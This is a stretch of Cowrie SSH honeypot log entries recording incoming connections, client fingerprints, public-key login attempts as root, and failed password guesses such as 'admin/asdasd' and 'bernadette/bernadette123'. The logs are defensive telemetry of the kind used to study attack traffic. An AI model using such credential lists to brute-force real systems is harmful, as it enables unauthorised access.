{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:8e:fd:10:e4:b1:0b:71:ff:88:55:e2:43:6b:1d:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfG3vUgcDm2FW1mgM1BFHep4aIyZEsda7oiGrw2APtUrTLgWRcof+8EnwCaZxdWHuOqLm06vrnKkRR12EoCounFON39ouX0YPQH9P13gdLoBxmI8WEJGwVqQBvfS/QrzafTlFEBnHgnMjLAQmIbUTfu4P1JyvSJ+TFTgZQe/yPQtpwh2MywcKg9ZHwzZD0FMBBnBG0p2kPhn9Cjv+dudJj3kT8DiLfsUyI4hLKTeBT/+eL8Qz1496nBVtijp5e6lePt6SY6U86K98+GBDtXF5Sok0nqgsPaGrF2ghQbg5koKKIBhNeW1p7KJcfNtmBwep5jgPycL5A4yUDx2ILdicfvDtAdxq+GA5Y4ozI9qPI334CfIvxO8fPykg9Caq+1Ieh6ZPzlFYRBNQmKmTVdNn1gE/Ab7df7MPD2U+ns4RZiL/HwBd1aBV+LRtKRHeN6x+iNjLUbnXJ5U7l9lKXnqjQvmxjHKZRMViQjwlrvxdUwP5AwTWsTkPcoCcwBmVSKCU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:8e:fd:10:e4:b1:0b:71:ff:88:55:e2:43:6b:1d:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.943594Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:8e:fd:10:e4:b1:0b:71:ff:88:55:e2:43:6b:1d:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfG3vUgcDm2FW1mgM1BFHep4aIyZEsda7oiGrw2APtUrTLgWRcof+8EnwCaZxdWHuOqLm06vrnKkRR12EoCounFON39ouX0YPQH9P13gdLoBxmI8WEJGwVqQBvfS/QrzafTlFEBnHgnMjLAQmIbUTfu4P1JyvSJ+TFTgZQe/yPQtpwh2MywcKg9ZHwzZD0FMBBnBG0p2kPhn9Cjv+dudJj3kT8DiLfsUyI4hLKTeBT/+eL8Qz1496nBVtijp5e6lePt6SY6U86K98+GBDtXF5Sok0nqgsPaGrF2ghQbg5koKKIBhNeW1p7KJcfNtmBwep5jgPycL5A4yUDx2ILdicfvDtAdxq+GA5Y4ozI9qPI334CfIvxO8fPykg9Caq+1Ieh6ZPzlFYRBNQmKmTVdNn1gE/Ab7df7MPD2U+ns4RZiL/HwBd1aBV+LRtKRHeN6x+iNjLUbnXJ5U7l9lKXnqjQvmxjHKZRMViQjwlrvxdUwP5AwTWsTkPcoCcwBmVSKCU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.947936Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:12.015563Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":50260,"dst_ip":"10.17.0.5","dst_port":22,"session":"aed24b0d1440","protocol":"ssh","message":"New connection: 64.89.163.156:50260 (10.17.0.5:22) [session: aed24b0d1440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:26.122929Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:26.211743Z","src_ip":"64.89.163.156","session":"aed24b0d1440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":50262,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe3eb5094a6","protocol":"ssh","message":"New connection: 64.89.163.156:50262 (10.17.0.5:22) [session: 2fe3eb5094a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:26.295333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:26.299728Z","src_ip":"64.89.163.156","session":"2fe3eb5094a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:26.386786Z","src_ip":"64.89.163.156","session":"2fe3eb5094a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yjq","password":"123456","message":"login attempt [yjq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:26.648321Z","src_ip":"64.89.163.156","session":"2fe3eb5094a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:27.738548Z","src_ip":"64.89.163.156","session":"2fe3eb5094a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":36496,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f918ee55e7","protocol":"ssh","message":"New connection: 103.63.108.25:36496 (159.203.135.109:22) [session: 21f918ee55e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:02.383207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:02.390735Z","src_ip":"103.63.108.25","session":"21f918ee55e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:02.667044Z","src_ip":"103.63.108.25","session":"21f918ee55e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asdasd","message":"login attempt [admin/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:03.788348Z","src_ip":"103.63.108.25","session":"21f918ee55e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:05.073599Z","src_ip":"103.63.108.25","session":"21f918ee55e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48240,"dst_ip":"159.203.135.109","dst_port":22,"session":"04753a89963e","protocol":"ssh","message":"New connection: 2.57.121.112:48240 (159.203.135.109:22) [session: 04753a89963e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:09.232124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:09.237701Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:09.339133Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pollo","message":"login attempt [admin/pollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:09.819253Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pollit","message":"login attempt [admin/pollit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:10.925138Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pokesmot","message":"login attempt [admin/pokesmot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:12.030717Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"poet","message":"login attempt [admin/poet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:13.135561Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"plazma","message":"login attempt [admin/plazma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:14.241358Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:30:15.346766Z","src_ip":"2.57.121.112","session":"04753a89963e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":43570,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6dda4cbdf95","protocol":"ssh","message":"New connection: 213.209.159.56:43570 (159.203.135.109:22) [session: e6dda4cbdf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:35.369865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:35.374555Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:35.456692Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette","message":"login attempt [bernadette/bernadette] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:35.859073Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette1","message":"login attempt [bernadette/bernadette1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:36.944601Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette123","message":"login attempt [bernadette/bernadette123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:38.029820Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette1234","message":"login attempt [bernadette/bernadette1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:39.114541Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette12345","message":"login attempt [bernadette/bernadette12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:40.198948Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:34:41.284468Z","src_ip":"213.209.159.56","session":"e6dda4cbdf95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.8.224.214","src_port":48534,"dst_ip":"10.17.0.5","dst_port":22,"session":"35445a95c47d","protocol":"ssh","message":"New connection: 45.8.224.214:48534 (10.17.0.5:22) [session: 35445a95c47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:19.583145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:19.593527Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:19.671221Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:ca:15:82:32:a9:0b:ab:fa:60:fd:30:6e:4b:ef:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJ4qL0Bkp+njGLwlJ9hJt7Nm6nVlDC/Orn4Hs9uwrl1hElkrU+X6vGy0Zql4cxc21tj3MdJ9mDeN55Y5Eyskgd1mQThJpKFBbQryvbpdh+qapnH9G49RI8DqJmoJJm0Hnp/9Z0TtZuaUUKlLnkHOO351RcN+r4N/0ZIXQrTqyXxE+JYAue77dkhZrkVggP/hjHD7ppfDx6bdVYUIfs3d4rrcqRtLpmrEwWfm3QslesfM1y7DRpZfL7F8fJi9uKlC1+8sNmSLk/2Rpcl44XRJfgM3C+7F13LK3UVFW0kshu23zaL3s2Y0EEnL+s9JIgHaX4Ci+h1AWxObzJNNGMQxQL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:ca:15:82:32:a9:0b:ab:fa:60:fd:30:6e:4b:ef:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.034680Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:ca:15:82:32:a9:0b:ab:fa:60:fd:30:6e:4b:ef:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJ4qL0Bkp+njGLwlJ9hJt7Nm6nVlDC/Orn4Hs9uwrl1hElkrU+X6vGy0Zql4cxc21tj3MdJ9mDeN55Y5Eyskgd1mQThJpKFBbQryvbpdh+qapnH9G49RI8DqJmoJJm0Hnp/9Z0TtZuaUUKlLnkHOO351RcN+r4N/0ZIXQrTqyXxE+JYAue77dkhZrkVggP/hjHD7ppfDx6bdVYUIfs3d4rrcqRtLpmrEwWfm3QslesfM1y7DRpZfL7F8fJi9uKlC1+8sNmSLk/2Rpcl44XRJfgM3C+7F13LK3UVFW0kshu23zaL3s2Y0EEnL+s9JIgHaX4Ci+h1AWxObzJNNGMQxQL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.038492Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:51:49:f7:31:f9:a7:6c:d8:92:4d:3e:b9:ae:44:03","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBv4iaGkm/NlKHeNbo7IK2Rsi1PLiM0XhbnpDqyfpEwG","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 78:51:49:f7:31:f9:a7:6c:d8:92:4d:3e:b9:ae:44:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.116105Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:51:49:f7:31:f9:a7:6c:d8:92:4d:3e:b9:ae:44:03","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBv4iaGkm/NlKHeNbo7IK2Rsi1PLiM0XhbnpDqyfpEwG","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.119996Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:08:a6:e7:84:79:3f:5b:36:a9:9c:38:32:a8:1d:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8fR3dGBBmf1LWQnXyCkK2sThcY+QMLUvLkuvfeaga/NhWzMf+Hw/qYOQ9rwXt1btWcyLswGRqvWKrGhpmEkH+Lvo6u9rHU2ZtOKbbZczRMvcrQCEu4pq9OqeFBpuIF89G6qcWkBRlLqwdKiA2/mNrTsTLFhbBZDbM9rJOccdsO34fRnBQBFLb+awMWaDVysU2XpcAf5ye341fRoOPdXXYDdI1SsbhWr2BanhMk8DxfpoNgRdvwk/mS8aliUCPP/ZLDjfwHPMoDZRwiOrEMZuJ5IoLkb0AfzY1cpL42FPrFz+yI2WMxTTzC5syQqq6CFzY15RGTjfQGcWUWQ9T18Sb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:08:a6:e7:84:79:3f:5b:36:a9:9c:38:32:a8:1d:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.197833Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
